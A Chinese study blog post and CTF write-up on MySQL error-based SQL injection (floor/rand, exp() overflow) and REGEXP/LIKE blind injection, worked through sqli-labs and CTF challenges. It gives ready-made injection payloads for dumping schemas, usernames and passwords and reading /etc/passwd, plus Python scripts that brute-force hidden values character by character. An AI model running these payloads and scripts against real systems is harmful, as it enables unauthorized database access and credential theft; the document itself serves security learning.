夯实基础| 再探SQL报错注入

admin 2024年2月21日00:59:21评论19 views字数 21670阅读72分14秒阅读模式

0x01 前言

本文的产生是由于刚刚刷PentesterLab靶场遇到的SQL注入问题,发现自己对SQL报错注入还是有一定的欠缺,故此来复习一波。

0x02 rand和order by报错注入

一般意义上来说,我们常用的显错注入手段是这两个,在mysql的官方文档中有这样一句

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
译文:
每次执行 WHERE 时,都会重新计算 WHERE 子句中的 RAND()。不能在 ORDER BY 子句中使用带有 RAND() 值的列,因为 ORDER BY 会多次计算该列。

也就是说不能作为order by的条件字段,group by同理,所以有如下payload:

and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b--

其中a为:

concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))

后面又group by a,所以会爆出

Duplicate entry ‘XXXXXXXXXX’ for key ‘group_key’
译文:
密钥“group_key”的条目“XXXXXXXXXX”重复

其中XXXXX就是0x5f,database(),0x5f,user(),0x5f,version()的内容,这样一步步就能拿到想要的信息

在前面的payload中其实还有个很重要的函数是floor()取整,在之前的文章中研究过,floor(rand(0)*2)这样会产生重复的随机数,从而在order by时候报错。

接下来详细分析一波上述payload的原理:

Floor()函数

floor(),rand(),count(),group by联合使用:
floor():向下取整
rand():生成一个0-1之间的随机数,不包括0和1
count(*):统计某个表下面一共有多少记录
group by XXX:按照一定的规则对XXX进行排序

报错原理:group by和rand()联合使用的时候,如果临时表中没有该主键,则再插入的之前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格之中,导致主键重复,然后报错。

image-20231214210545841

上述是这些函数的简单用法,以下不想费劲搭环境了,直接照搬师傅的了。。。

image-20231214210918104

在这里使用group by的时候回生成一张临时表,也叫做虚拟表,而且表都是有主键的,作为主键的列是不能由重复的,好比第一个值的主键为1,那么就不能再有主键为1的值了,接下来可以再是2、3…

image-20231215163639852
image-20231215163654153

可以看到上述两幅图片中第二幅图片的序列明显更规律(也就是伪序列)

首先这是一个虚拟表,自然就有主键。当使用group by去读这些数据的时候,好比上面这个伪随机序列,读完第一列,发现主键之中没有0这个数字,但由于rand的存在,他不会立刻插入,而是会继续运算一次rand函数,然后经过floor之后0变成了1,随后率先插入的数字便成了1。然后取第二条数据,此时floor之后为数字1,但该虚拟表中已经有了1,则该数字1对应的值自增1,继续从from的表中取第三条记录,再次计算floor(rand(0)*2),结果为0,由于表中不存在数字0,则继续rand一次,经过floor之后成了1,但根据特性,该数字1会硬插入该虚拟表中,导致了数字1的重复,最终报错

image-20231215163957161

这里是个例子,将user()的位置换做别的,就可以显示出别的错误了。爆库:

image-20231215164013653

可以看到使用的security,后面的数字1是rand()函数产生的。

image-20231215164151961

这里可以看到具体信息了。其实就是利用了count的统计与group by的合作,然后基于主键唯一的机制,然后造成了这个错误。

模板payload大致如下:

?id=1 and 1=2 UNION SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x5f,database(),0x5f,user(),0x5f,version())))a from information_schema.tables group by a)b;  #第一种

?id=1' and (select 1 from(select count(*),concat(floor(rand(0)*2),(select concat(username,0x7e,password)from users limit 0,1))a from information_schema.tables group by a)b)--+ #第二种

?id=1' and (select 1 from(select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)--+ #第二种

?id=1' and (select 1 from(select count(*),concat(floor(rand(0)*2),(select user()))x from information_schema.tables group by x)b)--+

uname=hybcx&passwd=1' union select count(*),concat((select concat(username,0x7e,password)from users),floor(rand(0)*2))x from information_schema.columns group by x#&submit=Submit #第三种

只需将上面模板中的内容替换成为我们的查询payload即可,a与b均是字段别名

image-20231215165205920

0x03 EXP函数报错注入

  • • 作用:计算以e为底的幂值
  • • 语法:exp(X)
  • • 报错原理:当参数X超过了710之后,exp函数就会报错。

MySQL中的EXP()函数用于将E提升为指定数字X的幂,这里E(2.718281 ...)是自然对数的底数。

image-20231215165453272

该函数可以用来进行 MySQL 报错注入。但是为什么会报错呢?我们知道,次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误:

image-20231215165519117

除了 exp() 之外,还有类似 pow() 之类的相似函数同样是可利用的,他们的原理相同。

  • • 使用版本:MySQL5.5.5 及以上版本

现在我们已经知道当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。那么我们在实际利用中如何让 exp() 报错的同时返回我们想要得到的数据呢?

我们可以用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出:

image-20231215165845068

如上图所示,成功报错并输出了数据。但是事实证明,在 MySQL>=5.5.53 之后,exp() 报错不能返回我们的查询结果,而只会得到一个报错:

下面由于实操的时候在安装MySQL低版本总是报错,我就直接照搬了(见谅~)

注出数据

  • • 得到表名:
mysql> select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'flag,users' from dual)))'
  • • 得到列名:
mysql> select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'id,username,password' from dual)))'
  • • 检索数据:
mysql> select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '1|admin|123456,2|whoami|657260,3|bunny|864379' from dual)))'
  • • 读取文件(有13行的限制):
mysql> select exp(~(select * from(select load_file('/etc/passwd'))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' from dual)))'

这个查询可以从当前的上下文中 dump 出所有的 tables 与 columns,我们也可以 dump 出所有的数据库,但由于我们是通过报错来获取,因此它返回的结果有限:

mysql> select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password' from dual)))'

那对于这个payload我有所疑惑,因此我询问了GPT(其中的@符号的作用)

select exp(~(select*from(select(concat(@:=0,(select count(*)from information_schema.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));

在这个 SQL 查询语句中:

@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)

@ 是一个用户变量,用于存储中间结果。在这里,@ 的作用是在不同的步骤中保留中间拼接的字符串。

让我解释一下:

  1. 1. @:=0:这是一个初始化步骤,将用户变量 @ 设置为零。
  2. 2. @:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name):在这一步,concat 函数用于将当前的 @ 值与新的字符串拼接,然后将结果再次存储在 @ 变量中。这样,@ 变量逐渐被构建起来,包含了多次拼接的结果。

实际上,这两个 @ 符号是同一个用户变量,只是在不同的时刻被使用。第一个 @ 是在初始化时使用,而后续的 @ 是在拼接字符串时使用,用于保留中间结果。

Insert位置注入

根据 Insert 位置的注入方式按部就班就好了。假设原来的插入语句如下:

insert into users(id,username,password) values(4,'john','679237');

我们可以在 username 或 password 位置插入恶意的 exp() 语句进行报错注入,如下所示:

# 在username处插入: 
john' or exp(~(select * from(select user())x)),1);#, 
则sql语句为: 
insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1);#','679237');

mysql> insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1);#','679237');;
ERROR 1690 (22003): DOUBLE value is out of range in '
exp(~((select 'root@localhost' from dual)))'

爆出所有数据:

# 在username处插入: 
john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#

mysql> insert into users(id,username,password) values(4,'john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#','679237');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password' from dual)))'

Update位置注入

根据 Update 位置的注入方式按部就班就好了。假设原来的插入语句如下:

update users set password='new_value' WHERE username = 'admin';

我们可以在 new_value 或后面的 where 子句处插入恶意的 exp() 语句进行报错注入,如下所示:

# 在new_value处插入: 
abc' or exp(~(select * from(select user())x))#, 
则sql语句为: update users set password='abc' or exp(~(select * from(select user())x))# WHERE username = 'admin';

mysql> update users set password='abc' or exp(~(select * from(select user())x));# WHERE username = 'admin';
ERROR 1690 (22003): DOUBLE value is out of range in '
exp(~((select 'root@localhost' from dual)))'

exp() 函数进行盲注

有的登录逻辑会根据 sql 语句的报错与否返回不同的结果,如果我们可以控制这里得报错的话便可以进行盲注。下面我们通过一个 CTF 例题来进行详细探究。

2021 虎符杯 CTF Finalweb Hatenum

进入题目是一个登录页面:(对我来说有点难度,只能基本抄wp了)

image-20231215173228030

我们先分析一波题目给的源码

home.php

<?php
require_once('config.php');
if(!$_SESSION['username']){
    header('location:index.php');
}
if($_SESSION['username']=='admin'){
    echo file_get_contents('/flag');
}
else{
    echo 'hello '.$_SESSION['username'];
}
?>

这里说如果我们存储在session变量中的username=admin的话就给flag

config.php

<?php
error_reporting(0);
session_start();
class User{
    //数据库配置信息
    public $host = "localhost";
    public $user = "root";
    public $pass = "123456";
    public $database = "ctf";
    public $conn;
    function __construct(){
        //进行数据库连接
        $this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
        if(mysqli_connect_errno()){
            die('connect error');
        }
    }
    //查询用户输入的用户名是否在数据库中
    function find($username){
        $res = $this->conn->query("select * from users where username='$username'");
        if($res->num_rows>0){
            return True;
        }
        else{
            return False;
        }

}
//注册功能部分
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
//如果查询到对应用户名,则成功登录
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}

}
}
//进行了很有力的过滤,不过没有过滤与()
function sql_waf($str){
if(preg_match('/union|select|or|and|'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |*|,|;|r|n|t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}

那我们重点关注一下sql语句部分

image-20231215174048617
$res = $this->conn->query("select * from users where username='$username' and password='$password'");

这里似乎可以构造万能密码,payload似乎与我之前刷的靶场思路一致

username=
password=||1#
select * from users where username='(' and password=')||1#'  括号内就是username的值,这样的话可以成功绕过

但这里有一个验证码code无从得知,只能看wp了

所以我们的思路是使用 rlike(即regexp)按照之前regexp匹配注入的方法,将 code 匹配出来。我们又在 login 函数中注意到:

当使用正则匹配时,使用REGEXP和NOT REGEXP操作符(或RLIKE和NOT RLIKE,功能是一样的)
LIKE要全部匹配才返回1,而RLIKE和REGEXP则是部分匹配即可返回1。
mysql> select 'abcd' like 'a';
+-----------------+
| 'abcd' like 'a' |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.04 sec)

mysql> select 'abcd' rlike 'a';
+------------------+
| 'abcd' rlike 'a' |
+------------------+
| 1 |
+------------------+
1 row in set (0.03 sec)

mysql> select 'abcd' regexp 'a';
+-------------------+
| 'abcd' regexp 'a' |
+-------------------+
| 1 |
+-------------------+
1 row in set (0.04 sec)

(好好好,又得学习一波regexp注入了~~~~)

if($this->conn->error){    // 如果sql语句报错就返回error
    return 'error';
}

如果 sql 语句出现错误便返回字符串 "error",然后进入到 login.php 中就会返回 error。根据这里的特性,如果我们可以控制这里的报错的话,便可以进行盲注。

但是怎么构造呢?在网上的看到了大佬的思路是真的巧妙:

||exp(710-(... rlike ...))

即如果 (... rlike ...) 中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1) 后不会溢出;若为false,转换为 exp(710-0) 后则会溢出并报错。

大致的 payload 如下:

'username': 'admin',
'password': '||exp(710-(code rlike binary {0}))#',
'code': '1'

对于上述payload的解释(GPT):

select (select database()) regexp binary '^sec'

例子如上,解释如下,大概binary关键字就是用来区分大小写的吧

这段 SQL 语句可以分为两部分,让我一步一步解释:

1. `(select database())`:这部分执行一个子查询,获取当前数据库的名称。

2. `regexp binary '^sec'`:这部分使用正则表达式进行匹配,并且使用 `binary` 进行二进制比较。

- `regexp` 是 MySQL 中用于执行正则表达式匹配的操作符。

- `binary` 是一个修饰符,用于表示要进行二进制比较。在这个上下文中,它确保正则表达式的匹配是对字节进行精确匹配,而不考虑字符的大小写或编码。

- `'^sec'` 是一个正则表达式模式,表示以 "sec" 开头的字符串。

综合起来,整个 SQL 语句的含义是:检查当前数据库的名称是否以 "sec" 开头。如果匹配成功,查询将返回 1,表示真(true);否则,返回 0,表示假(false)。

但这里题目过滤了引号,所以我们rlike无法直接引入%和^。按照之前的regexp注入操作我们可以将^连同后面的待猜测字符一块做Hex编码,之后进入数据库中MySQL会自动将16进制编码的字符转为对应的字符串

def str2hex(string):  # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
    result = ''
    for i in string:
        result += hex(ord(i))
    result = result.replace('0x', '')
    return '0x' + result

......

passwd = str2hex('^' + name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
'username': 'admin\',
'password': payloads,
'code': '1'
}

题目还限制了 password 位置匹配的字符串长度,最长只能匹配 4 个字符,如果超过了 4 个则会返回 Huge num detected 错误(但我不知道为何师傅们都说最多只能4个字符,我看着正则当中是数字9,不应该是9个字符吗。。不理解)。

接着我幸运地找到了一个解释:

同时num_waf 有个判断十六进制位数不能超过9位,既字符串不能超过4位(一个字母对应2个十六进制数),所以在包含正则^以外的字符串超过3位时需要不断做替换,用3位字符串去匹配下一位

那这样的话我们便不能在 payload 里面使用 ^ 了,也就没有办法在正则表达式中确定首位的位置,我们只能知道有这么几个连续的字符,就像下面这样:

mysql> select 'flag{abcdefghijklmnopqrstuvwxyz}' rlike 'ab';
+-----------------------------------------------+
| 'flag{abcdefghijklmnopqrstuvwxyz}' rlike 'ab' |
+-----------------------------------------------+
|                                             1 |
+-----------------------------------------------+
1 row in set (0.04 sec)

mysql> select 'flag{abcdefghijklmnopqrstuvwxyz}' rlike 'lag{';
+-------------------------------------------------+
| 'flag{abcdefghijklmnopqrstuvwxyz}' rlike 'lag{' |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.03 sec)

师傅的爆破思路:先爆破出前三位来,然后再通过前 3 位爆第4位,再通过第2、3、4位爆第5位......

编写如下脚本进行爆破:

import requests
import string

def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result

strs = string.ascii_letters + string.digits + '_'
url = "http://690399e6-ab28-459d-ab40-789da08843fb.node4.buuoj.cn:81/login.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = '||exp(710-(code rlike binary {0}))#'
if __name__ == "__main__":
name = ''
z = 3
for i in range(1, 40):
for j in strs:
passwd = str2hex(name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))#0x0c代替空格
postdata = {
'username': 'admin\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
#print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
break

if len(name) >= 3:
for i in range(1, 40):
for j in strs:
passwd = str2hex(name[z - 3:z] + j) # ergh
payloads = payload.format(passwd).replace(' ', chr(0x0c))
postdata = {
'username': 'admin\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
# print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
z += 1
break

出结果了,别高兴的太早,因为这里陷入了一个死循环当中:

erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......

可以看到爆出 erghruigh2 之后不停地循环出现 uygh2,所以我们可以推测出真正的 code 里面有两个 gh2,其中位于前面的那个 gh2 后面紧跟着一个 u,即 gh2u。后面那个 gh2 后面跟的是那个字符我们还不能确定,那我们便可以测试一下除了 u 以外的其他字符,经测试第二个 gh2 后面跟的字符是 3,即 gh23,然后继续根据 h23 爆破接下来的字符就行了,最后得到的 code 如下:

erghruigh2uygh23uiu32ig

不过这里我也是想不通最后这个死循环的解决原理。。。

然后直接登陆即可得到 flag:

image-20231215200129931

接着我又找了几篇wp发现有位师傅直接从最后一个字符开始匹配,用到了$正则:

$ 是一个用于锚定模式结尾位置的元字符,用于确保匹配发生在输入字符串的末尾。

这样就不会有上述重复的问题,但是也要配合从第一位开始爆破的脚本,这样两者对比才可正确得出

import requests
import string

def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result

strs = string.ascii_letters + string.digits + '_'
url = "http://690399e6-ab28-459d-ab40-789da08843fb.node4.buuoj.cn:81/login.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = '||exp(710-(code rlike binary {0}))#'
tmp = '$'
if __name__ == "__main__":
name = ''
z = 3
for i in range(1, 40):
for j in strs:
passwd = str2hex(j + tmp)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
'username': 'admin\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
#print(r.text)
if "fail" in r.text:
name += j
print(j + tmp, name)
if len(tmp) == 3:
tmp = j + tmp[:-1]
else:
tmp = j + tmp
break

image-20231215200406827

如上图,最后简单反转一下字符串即可

最后会有如下:

erghruigh2uygh2uygh2uygh2uygh2
erghruigh23uiu32ig

我们两者对比得到erghruigh2uygh23uiu32ig

只能说脚本对我来说好难。。。接下来就是跟着编写脚本的时候了

import requests
import string

def str2hex(str):
result = ''
for i in str:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result

strs = string.ascii_letters + string.digits + '_'
url = 'http://690399e6-ab28-459d-ab40-789da08843fb.node4.buuoj.cn:81/login.php'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}

payload = '||exp(710-(code rlike binary {0}))#'
tmp = '^'
name = ''
for i in range(1, 40):
for j in strs:
passwd = str2hex(tmp + j)
payloads = payload.format(passwd).replace(' ', chr(0x0c))
data = {
'username': '\',
'password': payloads,
'code': '1'
}
req = requests.post(url, data = data, allow_redirects=False)
if 'fail' in req.text:
name += j
print(tmp + j, name)
if len(tmp) == 3:
tmp = tmp[1:] + j
else:
tmp += j
break

tmp = '$'
name = ''
for i in range(1, 40):
for j in strs:
passwd = str2hex(j + tmp)
payloads = payload.format(passwd).replace(' ', chr(0x0c))
data = {
'username': '\',
'password': payloads,
'code': '1'
}
req = requests.post(url, data = data, allow_redirects=False)
if 'fail' in req.text:
name = j + name
print(j + tmp, name)
if len(tmp) == 3:
tmp = j + tmp[:-1]
else:
tmp = j + tmp
break

data = {
'username': '\',
'password': '||1#',
'code': 'erghruigh2uygh23uiu32ig'
}

req = requests.post(url, data=data)
print(req.text)

完整代码如上,不过我自己在编写完成后,发现从后面开始匹配的方法,有一定几率一次成功。

0x04 REGEXP与LIKE注入

这里质量低下,知识点基本都是照搬的,有的只是自己的思考和实操罢了

REGEXP注入分析

注入原理

REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

1、基本注入

select (select语句) regexp '正则'

正常的查询语句:

select username from users where id=1;

(1)正则注入,若匹配则返回1,不匹配返回0

select (select username from users where id=1) regexp '^a';
mysql> select username from users where id=1;
+----------+
| username |
+----------+
| Dumb     |
+----------+
1 row in set (0.11 sec)

mysql> select(select username from users where id=1) regexp '^D';
+-----------------------------------------------------+
| (select username from users where id=1) regexp '^D' |
+-----------------------------------------------------+
| 1 |
+-----------------------------------------------------+
1 row in set (0.04 sec)

mysql> select(select username from users where id=1) regexp '^a';
+-----------------------------------------------------+
| (select username from users where id=1) regexp '^a' |
+-----------------------------------------------------+
| 0 |
+-----------------------------------------------------+
1 row in set (0.04 sec)

^表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0

(2)regexp关键字还可以代替where条件里的=号

mysql> select password from users where id=1;
+----------+
| password |
+----------+
| Dumb     |
+----------+
1 row in set (0.05 sec)

mysql> select * from users where password regexp '^Du';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
+----+----------+----------+
2 rows in set (0.04 sec)

使用场景:

过滤了=、in、like

^若被过滤,可使用$来从后往前进行匹配(深有感悟啊~~),常用regexp正则语句:

regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r'      #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中

(3)在联合查询中的使用

1 union select 1,database() regexp '^s',3--+
image-20231215205452658
image-20231215205541822

上述password处只会显示1或者0,这样就能知道我们的regexp是否匹配成功。

2、REGEXP盲注

在sqli-labs靶场Less-8关进行测试

1.判断数据库长度

' or (length(database())=8)--+ 正常

2.判断数据库名

' or database() regexp '^s'--+ 正常
' or database() regexp 'y$'--+ 正常

表名、字段名、数据内容不再赘述。很明显和普通的布尔盲注差不多,附上大师傅的脚本:

import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"

payload = database1
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j,end='')
char = j
break
if char =='#':
break

LIKE注入分析

like匹配

百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。

1、基本注入

1.like 's%'判断第一个字符是否为s

1 union select 1,database() like 's%',3 --+

2.like 'se%'判断前面两个字符串是否为se

1 union select 1,database() like 'se%',3 --+

3.like '%se%' 判断是否包含se两个字符串 --不过测试下来发现待测字符的开头一定要为正确的,否则页面一直返回0,也就是无法匹配类似%ecu%这类字符

1 union select 1,database() like '%se%',3 --+

4.like '_____'判断是否为5个字符

1 union select 1,database() like '_____',3 --+

5.like 's____' 判断第一个字符是否为s

1 union select 1,database() like 's____',3 --+
image-20231215210444287

2、LIKE盲注

依旧在sqli-labs靶场Less-8关进行测试

1.判断数据库长度 可用length()函数,也可用_,如:

' or database() like '________'--+

2.判断数据库名

' or database() like 's%'--+
也可用
' or database() like 's_______'--+
image-20231215210703023
image-20231215210719431

说明数据库名的第一个字符是s。数据表、字段、数据类似,把REGEXP盲注脚本改一下,于是成了LIKE盲注脚本:

import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() like '{}%'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}%'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 1,1) like '{}%'--+"
data1 = "' or (select username from users limit 0,1) like '{}%'--+"

payload = database1
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j,end='')
char = j
break
if char =='#':
break

image-20231215210857723

3、REGEXP注入实战

BJDCTF 2nd 简单注入

image-20231215213109014

发现提示

image-20231215213135245

这里给出了sql语句

Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

很明显又是相同的套路,我们进行如下赋值:

username=haha
password='or 1#'

select * from users where username='(haha' and password=')or 1#'; #括号只是一个提示作用

简单fuzz一下看一下过滤情况:

过滤的有:select、union、'、=、like等等

但是没过滤regexp

image-20231215213832727

如上图发现页面有变化,接下来进一步测试

image-20231215214058299
image-20231215214043397

发现页面回显不一致,但始终只有这两条信息,这意味着我们需要进行盲注了,直接上脚本,这里我先尝试自己写一番

import requests
import string

def str2hex(str):
result = ''
for i in str:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result

strs = string.ascii_letters + string.digits
url = "http://f973c801-88f4-44ee-9a5c-ec1911041314.node4.buuoj.cn:81/"
payload = 'or password regexp binary {}#'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
if __name__ == "__main__":
name = ''
for i in range(1,40):
for j in strs:
passwd = str2hex('^' + name + j)
payloads = payload.format(passwd)
data = {
'username': 'admin\',
'password': payloads
}
r = requests.post(url, data=data,headers=headers)
if "BJD needs" in r.text:
name += j
print(j,end='')
break

image-20231215215446707

成功得到密码,我们登录即可得到flag

image-20231215215519726

0x05 后言

本次对于报错注入的学习有些许深刻,日后会随缘更新补充本文,希望可以对报错注入有一个完全的掌握。

0x06 参考文章

SQL报错注入(下)[1]

如何使用 MySQL exp() 函数进行 Sql 注入[2]

SQL 显错注入[3]

2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤[4]

[HFCTF2021]hatenum[5]

REGEXP注入与LIKE注入学习笔记[6]

引用链接

[1] SQL报错注入(下): https://blog.csdn.net/ssslq/article/details/129285751
[2] 如何使用 MySQL exp() 函数进行 Sql 注入: https://xz.aliyun.com/t/9849#toc-3
[3] SQL 显错注入: https://lorexxar.cn/2015/11/19/sql-error/#more
[4] 2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤: https://blog.csdn.net/m0_55793759/article/details/127078074
[5] [HFCTF2021]hatenum: https://blog.z3ratu1.top/[HFCTF2021]hatenum.html
[6] REGEXP注入与LIKE注入学习笔记: https://xz.aliyun.com/t/8003#toc-7

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月21日00:59:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   夯实基础| 再探SQL报错注入https://cn-sec.com/archives/2510174.html

发表评论

匿名网友 填写信息